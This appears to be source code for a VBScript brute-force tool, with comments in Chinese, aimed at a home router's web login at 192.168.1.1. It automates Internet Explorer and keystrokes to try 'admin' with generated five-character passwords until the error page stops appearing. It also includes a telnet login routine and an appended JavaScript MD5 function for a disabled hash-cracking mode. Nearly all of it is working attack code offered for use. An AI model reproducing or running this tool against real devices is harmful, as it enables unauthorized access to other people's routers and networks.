路由器暴力破解源代码.vbs
'**********************************************************************
'
'
'路由器登陆密码暴力破解程序
'测试版本
'
'注:此程序针对没有开放telnet端口,而通过界面登陆的路由器，
'否则可以直接发送open指令猜解
'
'
'**********************************************************************
'On Error Resume Next
Dim WshShell,IE,SC,FSO
'*************************基本方法与函数********************************
Sub Init()
Set WshShell = createobject("wscript.shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set IE = CreateIEApplication("http://192.168.1.1/")
Call Login()
ScriptExit()
End Sub
'创建IE应用程序对象
Function CreateIEApplication(url)
Set objIE = CreateObject("InternetExplorer.Application")
With objIE
.navigate url
.visible=1
.left=200
.top=200
.height=540
.width=750
.menubar=0
.toolbar=0
.statusBar=0
'.FullScreen = 1
End With
WScript.Sleep 1000
Set CreateIEApplication = objIE
End Function
'创建脚本控件对象
Function CreateScriptControl(jsCode)
Set objSC = CreateObject("MSScriptControl.ScriptControl")
objSC.Language = "JScript"
objSC.AllowUI = False
objSC.AddCode(jsCode)
Set CreateScriptControl = objSC
End Function
'查找登陆窗体
Function FindLoginForm()
Dim count,i
Do While count < 15
ret = WshShell.AppActivate("Windows 安全")
If ret Then
FindLoginForm = True
'window.event.returnvalue=false
Exit function
Else
WScript.Sleep 1000
count = count + 1
End If
Loop
FindLoginForm = false
End Function
'登陆
Sub Login()
Dim loginSuccess,i,pwdArray
If Not FindLoginForm() Then
Exit Sub
End If
'MD5密文对比破解
'Dim jsCode
'jsCode = ReadMD5DictionaryFile("CrackPassword.js")
'Set SC = CreateScriptControl(jsCode)
'MsgBox SC.Eval("MD5('11')")
'直接对比破解
pwdArray = GetSpecailArray()'GetPwdArray()
For i=Lbound(pwdArray) To Ubound(pwdArray)
Do While Not loginSuccess
If EnforceLogin(pwdArray(i)) Then
Exit Sub
End If
'重新导航IE
findSuccess = False
Loop
Next
MsgBox "没有找到密码"
End Sub
'强制登陆
Function EnforceLogin(pwd)
WshShell.SendKeys "admin"
WshShell.SendKeys "{TAB}"
WshShell.SendKeys pwd
WshShell.SendKeys "{TAB}"
WshShell.SendKeys "{TAB}"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 1000
If Not IE.Busy Then
if IE.Document.Title <> "登录错误" Then
MsgBox pwd '正确密码
EnforceLogin = True
Exit Function
Else
WshShell.SendKeys "{TAB}"
WshShell.SendKeys "{ENTER}"
End If
End If
EnforceLogin = False
End Function
'对于开放了Telnet端口的路由器可通过此方法登陆
Sub TelnetLogin()
WshShell.Run("cmd")
WScript.Sleep 500
WshShell.SendKeys "telnet{ENTER}"
WScript.Sleep 500
WshShell.SendKeys "open 192.168.1.1"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 500
WshShell.SendKeys "账户{ENTER}"
WshShell.SendKeys "密码{ENTER}"
End Sub
'退出销毁对象
Sub ScriptExit()
Set WshShell = Nothing
IE.Quit()
Set IE = Nothing
WScript.Quit(0)
End Sub
'*************************************************************
'*******************强制破解核心方法与函数********************
'读取MD5字典文件
Function ReadMD5DictionaryFile(filename)
'Set Controller = WScript.CreateObject("WSHController")
'Set MyObject=Controller.CreateScript("CrackPassword.js")
'MsgBox 1
'WScript.ConnectObject MyObject
'MyObject.Execute
'WScript.Echo MyObject.MD5("123").S11
'WScript.DisconnectObject MyObject
Dim file
if fso.FileExists(filename) Then
Set f = FSO.OpenTextFile(filename)
file = f.ReadAll()
End If
Set fso = Nothing
ReadMD5DictionaryFile = file
End Function
'获取密码组合阵列
'可配置，需要生成几位密码的阵列，则用几个FOR
'此函数检索5位a-z(ASCII编码97-122)的密码阵列
Function GetPwdArray()
'Set f = FSO.OpenTextFile("testfile.txt", 2, True)
Dim x,pwdArray()
x=0
for i=97 to 122
for j=97 to 122
for k=97 to 122
For m=97 To 122
For n=97 To 122
Redim Preserve pwdArray(x)
pwdArray(x) = chr(i) & chr(j) & chr(k) & Chr(m) & Chr(n)
'f.Write pwdArray(x) + vbcrlf
Redim Preserve pwdArray(x)
x = x + 1
Next
next
next
next
Next
'f.Close
GetPwdArray = pwdArray
End Function
'获取自定义密码组合阵列
'可配置
Function GetSpecailArray()
Dim ch,ch2,ch3,ch4,x
'ch="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!~^#%{1}"
ch=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")
ch2=Split("0,1,2,3,4,5,6,7,8,9",",")
ch3=Split("a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")
ch4=Split("e,d,c,r,f,v,t,g,b,y,h,n",",")
x=0
l = UBound(ch4)
for i=0 to l
for j=0 to l
for k=0 to l
For m=0 To l
For n=0 To l
Redim Preserve pwdArray(x)
pwdArray(x) = ch4(i) & ch4(j) & ch4(k) & ch4(m) & ch4(n)
Redim Preserve pwdArray(x)
x = x + 1
Next
next
next
next
Next
GetSpecailArray = pwdArray
End Function
'**************************************************************
Init()
'InternetExplorer Object:
'http://msdn.microsoft.com/en-us/library/aa752084(v=VS.85).aspx
CrackPassword.js
function MD5(sMessage)
{
function RotateLeft(lValue, iShiftBits)
{
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
}
function AddUnsigned(lX,lY)
{
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
if (lX4 | lY4) {
if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
} else return (lResult ^ lX8 ^ lY8);
}
function F(x,y,z) { return (x & y) | ((~x) & z); }
function G(x,y,z) { return (x & z) | (y & (~z)); }
function H(x,y,z) { return (x ^ y ^ z); }
function I(x,y,z) { return (y ^ (x | (~z))); }
function FF(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function GG(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function HH(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function II(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function ConvertToWordArray(sMessage) {
var lWordCount;
var lMessageLength = sMessage.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
}
function WordToHex(lValue) {
var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
WordToHexValue_temp = "0" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
}
return WordToHexValue;
}
var x=Array();
var k,AA,BB,CC,DD,a,b,c,d
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9 , S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43=15, S44=21;
// Steps 1 and 2. Append padding bits and length and convert to words
x = ConvertToWordArray(sMessage);
// Step 3. Initialise
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
// Step 4. Process the message in 16-word blocks
for (k=0;k<x.length;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=GG(d,a,b,c,x[k+10],S22,0x2441453);
c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=II(a,b,c,d,x[k+0], S41,0xF4292244);
d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=II(c,d,a,b,x[k+6], S43,0xA3014314);
b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD);
}
// Step 5. Output the 128 bit digest
var temp= WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
return temp.toLowerCase();
}
